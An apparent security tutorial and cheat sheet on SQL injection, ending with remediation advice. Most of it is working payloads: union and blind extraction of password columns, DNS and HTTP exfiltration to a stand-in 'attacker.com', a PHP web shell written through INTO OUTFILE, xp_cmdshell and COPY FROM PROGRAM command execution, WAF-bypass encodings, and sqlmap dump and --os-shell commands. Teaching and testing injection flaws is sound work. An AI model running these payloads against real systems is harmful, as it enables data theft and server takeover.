Skip to Content
SQL injection attack and database exploitation

SQL Injection: Attack Guide

Finding and exploiting SQL injection: in-band, blind and out-of-band techniques, per-database payloads, WAF bypasses, sqlmap and fixes.

Dec 16, 2025
Updated Nov 22, 2026
11 min read

Introduction

SQL injection (SQLi) happens when user input is concatenated into a SQL query instead of being passed as a parameter. The input changes the structure of the query, so you can read data you should not see, log in without a password, write files and, on some databases, run operating system commands. Injection is still in the OWASP Top 10.

It keeps turning up in old code, in raw queries that developers drop into when the ORM gets in the way, and in places nobody thinks of as input, such as sort parameters, headers and cookies.

Types of SQL injection

In-band SQLi (classic)

The query result, or an error from it, comes back in the application response.

Error-based SQLi

Force the database to put the data you want inside an error message:

-- MySQL error extraction
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))-- -

-- MSSQL error extraction
' AND 1=CONVERT(int, (SELECT @@version))-- -

-- PostgreSQL error extraction
' AND 1=CAST((SELECT version()) AS int)-- -

Union-based SQLi

Append a UNION SELECT so your query's rows come back with the original ones. The column count and types have to match:

-- Determine number of columns
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- - (until error)

-- Find displayable columns
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT 'a',NULL,NULL-- -
' UNION SELECT NULL,'a',NULL-- -

-- Extract data
' UNION SELECT username,password,NULL FROM users-- -

Blind SQLi

Nothing from the query shows up in the response. You infer each bit of data from how the application behaves.

Boolean-based blind

The page differs depending on whether the injected condition is true or false:

-- Test for blind SQLi
' AND 1=1-- - (normal response)
' AND 1=2-- - (different response)

-- Extract data character by character
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- -
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='b'-- -

-- Binary search for efficiency
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>77-- -

Time-based blind

The response looks the same either way, so make the database sleep when the condition is true:

-- MySQL
' AND IF(1=1, SLEEP(5), 0)-- -
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(5), 0)-- -

-- MSSQL
'; WAITFOR DELAY '0:0:5'-- -
'; IF (SELECT COUNT(*) FROM users WHERE username='admin')>0 WAITFOR DELAY '0:0:5'-- -

-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END-- -

Out-of-band SQLi

The database sends the data to a server you control, usually over DNS or HTTP. Useful when the query runs asynchronously or responses give nothing away.

-- MySQL DNS exfiltration
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a'))-- -

-- MSSQL DNS exfiltration
'; EXEC master..xp_dirtree '\\' + (SELECT TOP 1 password FROM users) + '.attacker.com\a'-- -

-- Oracle HTTP exfiltration
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE ROWNUM=1)) FROM dual-- -

Database-specific techniques

MySQL

-- Version and user
SELECT @@version, user(), database()

-- List databases
SELECT schema_name FROM information_schema.schemata

-- List tables
SELECT table_name FROM information_schema.tables WHERE table_schema='target_db'

-- List columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- File read (requires FILE privilege)
SELECT LOAD_FILE('/etc/passwd')

-- File write
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'

Microsoft SQL Server

-- Version and user
SELECT @@version, SYSTEM_USER, DB_NAME()

-- List databases
SELECT name FROM sys.databases

-- List tables
SELECT name FROM sys.tables

-- List columns
SELECT name FROM sys.columns WHERE object_id=OBJECT_ID('users')

-- Command execution (requires xp_cmdshell)
EXEC xp_cmdshell 'whoami'

-- Enable xp_cmdshell if disabled
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

PostgreSQL

-- Version and user
SELECT version(), current_user, current_database()

-- List databases
SELECT datname FROM pg_database

-- List tables
SELECT tablename FROM pg_tables WHERE schemaname='public'

-- List columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- File read
SELECT pg_read_file('/etc/passwd')

-- Command execution (requires superuser)
COPY cmd_output FROM PROGRAM 'id';

Oracle

-- Version and user
SELECT banner FROM v$version, user FROM dual

-- List tables
SELECT table_name FROM all_tables WHERE owner='SCHEMA_NAME'

-- List columns
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

WAF bypass techniques

Encoding bypasses

-- URL encoding
%27%20OR%201%3D1--%20-

-- Double URL encoding
%2527%2520OR%25201%253D1--%2520-

-- Unicode encoding
' OR 1=1-- -  →  %u0027%u0020OR%u00201%u003D1--%u0020-

-- Hex encoding
' UNION SELECT 0x61646d696e-- - (admin in hex)

Case manipulation

-- Mixed case
' uNiOn SeLeCt * fRoM users-- -

-- Using comments
' UN/**/ION SEL/**/ECT * FROM users-- -

Whitespace alternatives

-- Tab instead of space
'%09UNION%09SELECT%09*%09FROM%09users--%09-

-- Comments as spaces
'/**/UNION/**/SELECT/**/password/**/FROM/**/users--/**/-

-- Newlines
'%0aUNION%0aSELECT%0a*%0aFROM%0ausers--%0a-

Function alternatives

-- Instead of CONCAT()
'||' (Oracle, PostgreSQL)
'+' (MSSQL)

-- Instead of SUBSTRING()
MID(), SUBSTR(), LEFT(), RIGHT()

-- Instead of ASCII()
ORD(), HEX()

No quotes bypass

-- Using hex
' UNION SELECT * FROM users WHERE username=0x61646d696e-- -

-- Using CHAR()
' UNION SELECT * FROM users WHERE username=CHAR(97,100,109,105,110)-- -

Exploitation tools

SQLMap

The standard tool for confirming and exploiting SQL injection:

# Basic detection
sqlmap -u "http://target.com/page?id=1"

# With POST data
sqlmap -u "http://target.com/login" --data="user=admin&pass=test"

# Through proxy (Burp)
sqlmap -u "http://target.com/page?id=1" --proxy="http://127.0.0.1:8080"

# Enumerate databases
sqlmap -u "http://target.com/page?id=1" --dbs

# Dump specific table
sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump

# OS shell (if possible)
sqlmap -u "http://target.com/page?id=1" --os-shell

# Bypass WAF
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,between

# Risk and level
sqlmap -u "http://target.com/page?id=1" --risk=3 --level=5

Detection methodology

Manual testing

  1. List every input that might reach a query: form fields, URL parameters, headers and cookies.
  2. Send characters that break SQL syntax: ' " ; -- /* */
  3. Watch for errors, changes in the page and changes in response time.
  4. Confirm with a true/false pair of conditions or a working UNION. An error alone is not proof.

Common test payloads

-- Basic tests
'
"
`
')
")
`)
'))
"))
`))

-- Comment tests
'--
'#
'/*

-- Boolean tests
' OR '1'='1
' OR '1'='1'--
' OR 1=1--
" OR 1=1--
OR 1=1--

-- Time-based tests
' OR SLEEP(5)--
' WAITFOR DELAY '0:0:5'--
' OR pg_sleep(5)--

Impact assessment

Data exfiltration

Anything the database account can read: password hashes, personal data, payment data, business records.

Authentication bypass

Logging in as an admin or as any other user by breaking the login query.

System compromise

Command execution (xp_cmdshell, COPY ... FROM PROGRAM), file reads and writes, and from there a foothold on the database server itself.

Remediation

Parameterized queries

# Python with psycopg2 (SECURE)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

# Node.js with mysql2 (SECURE)
connection.execute("SELECT * FROM users WHERE id = ?", [userId])

# Java with PreparedStatement (SECURE)
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
stmt.setInt(1, userId);

Input validation

# Whitelist validation
import re
if not re.match(r'^[a-zA-Z0-9]+$', user_input):
    raise ValueError("Invalid input")

# Type casting
user_id = int(request.args.get('id'))

Least privilege

Give each application its own database account, grant it only the tables and operations it needs, and turn off features like xp_cmdshell and LOAD_FILE where the platform allows.

Web application firewall

A WAF with SQLi rules slows attackers down. It is not a fix, and the bypasses above show why.

References

MITRE ATT&CK techniques

CWE entries

OWASP resources

Tools documentation

On this page